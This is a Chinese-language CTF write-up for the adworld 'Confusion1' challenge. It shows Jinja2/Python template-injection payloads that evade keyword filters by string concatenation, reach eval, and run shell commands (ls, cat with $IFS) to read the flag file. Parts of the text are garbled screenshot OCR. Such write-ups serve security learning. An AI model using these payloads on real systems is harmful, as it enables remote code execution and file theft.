Confusion1-adworld



首先打开页面是一个登录+注册页面, 打开都是404

但是看源代码是有信息暴露地址

```
1
2 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
3 \html>\head>
4 \title>404 Not Found</title>
5 \langle \head>
6 \hl>Not Found</hl>
7 \langle \text{The requested URL /login.php was not found on this server.
8 \hr>
9 \langle \address>Apache/2.4.10 (Debian) Server at 61.147.171.105 Port 58557</address>
6 \langle \hoto \text{/body} \langle \html>
1 \langle \left-Flag @ \langle \left \text{pot} \frac{flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt-->}{-Salt @ \langle \text{pot} \slangle \text{salt_b420e8cfb8862548e68459ae1d37a1d5.txt-->}
3
```

虽然一直强调这是php并且让我不要爆破,但我就是不信

果然爆破目录,发现更像是一个python框架页面

在404的url中注入ssti,发现拥有回显,那么就直接构造,首先使用tplmap,没有用

首先构造出

最简单的

```
{{''.__class__._mro__[2].__subclasses__()}}
```

提示不行,感觉肯定是有过滤,直接构造str的拼接(之前就学过)

```
{{()["_c]"+"ass__"]["__mr"+"o__"][1]["__subclas"+"ses__"]()}}
```

原先是找os去抓popen,但是这里找基类中没有这一项

而其中调用 warnings.catch_warnings 类可以执行任意 Python 代码。为59项目

首先找到基类函数有open函数,尝试构造出

```
/%7B%7B()["__cla"+"ss__"]["__ba"+"ses__"][0]["__subcl"+"asses__"]()[59]
["__in"+"it__"]["__g"+"lobal"+"s__"]["__bui"+"lt"+"ins__"]["op"+"en"]
('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')["rea"+"d()"]%7D%7D
```

Not Found

The requested URL /<open file '/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt', mode 'r' at 0x7fb53ee534b0> was not found on this server.

Apache/2.4.10 (Debian) Server at 61.147.171.105 Port 58557

问题是read不出来,发现还有eval,可以通过他import os进行rce

构造ls命令,成功

```
{{()["__cla"+"ss__"]["__ba"+"ses__"][0]["__subcl"+"asses__"]()[59]["__in"+"it__"]
["__g"+"lobal"+"s__"]["__bui"+"lt"+"ins__"]["ev"+"al"]
("__imp"+"ort__('os').po"+"pen('l'+'s').re"+"ad()")}}
```

← C 命 本来全(61.47.171.10558557/878780[] cd3**ss="||o||_subcl**asses_||o||_in'*"it_||'|_g'*lobal**s="||c||_bul**ll**ins_||'|_g'*lobal**s="||c||_bul**ll**ins_||'|_g'*lobal**s="||c||_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ins_||'|_bul**ll**ll**ll*

Not Found

The requested URL /bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var was not found on this server.

Apache/2.4.10 (Debian) Server at 61.147.171.105 Port 58557

构造cat flag, 成功拿下

```
%7B%7B()["__cla"+"ss__"]["__ba"+"ses__"][0]["__subcl"+"asses__"]()[59]
["__in"+"it__"]["__g"+"lobal"+"s__"]["__bui"+"lt"+"ins__"]["ev"+"al"]
("__imp"+"ort__('os').po"+"pen('ca'+'t$IFS/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef
0ad1.txt').re"+"ad()")%7D%7D
```

← ⑦ ⑥ ▲ 不安全 | 61.147.171.105-58557/%78%780["_cla"+"ss__"]["_ba"+"ses__"][0]["_subcl"+"asses__"][0]59["_in"+"it__"]["_g"+"lobal"+"s__"]["_bu"+"lt"+"ins__"]["ev"+"all"["_imp"+"ort__(os),po"+"pen(ca'+1\$lfS/opt/flag_1de36dff62a3a54ectb... A\ な

Not Found

The requested URL /cyberpeace(504a7c7205963f855854fba42676db64) was not found on this server.

Apache/2.4.10 (Debian) Server at 61.147.171.105 Port 58557

看了wp,还有这种方法,通过flask的request库进行,但是并不能武断证明这就是flask框架吧(虽然很多都是ssti的flask),但是可以学习

```
{{''[request.args.a][request.args.b][2][request.args.c]()[40]
('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?
a=__class__&b=__mro__&c=__subclasses__&d=read
```

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